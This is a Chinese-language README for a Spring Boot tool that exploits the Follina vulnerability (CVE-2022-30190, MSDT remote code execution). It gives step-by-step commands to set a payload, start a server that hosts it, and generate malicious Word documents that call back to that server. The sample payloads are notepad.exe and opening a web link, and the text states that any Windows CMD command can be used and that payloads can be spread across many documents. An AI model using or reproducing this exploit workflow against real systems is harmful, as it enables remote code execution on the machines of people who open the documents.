本仓库包含一个简单的 Spring Boot 应用程序,它既可作为服务器来 托管/激活 Follina payload,也可作为 恶意 Word 文档的生成器,用于作为攻击向量利用 CVE-2022-30190。
此漏洞涉及通过 MSDT (Microsoft Windows 支持诊断工具) 实现 远程代码执行。
若要提供你选择的唯一 payload,应执行以下操作:
export FOLLINA_PAYLOAD="notepad.exe"
mvn spring-boot:run
curl -s http://localhost:8080/generateDoc?address=http://192.168.64.128:8080 -o follina.doc
如果你想更改当前 payload,则必须先关闭当前活动的服务器,然后定义新的 payload 后重复上述步骤。
注意: payload 可以替换为任何其他命令,只要它能通过 Windows CMD 运行即可。
若要提供你选择的客户端 payload,应执行以下操作:
mvn spring-boot:run
cmd 查询参数,例如:curl -sG http://localhost:8080/generateDoc --data-urlencode 'address=http://192.168.64.128:8080' --data-urlencode 'cmd=start msedge.exe https://www.youtube.com/watch?v=zqTwOoElxBA' -o follina.doc
在这种情况下,payload 嵌入在文档中,只需通过联系服务器进行 激活。这样,你可以在不同的文档中分发多个不同的 payload,无需重启服务器即可触发 payload 更改 —— 只需生成一个嵌入了所需 payload 的新文档即可。
非常感谢 John Hammond 提供了 Python 实现,并分享了他对该 CVE 的分析。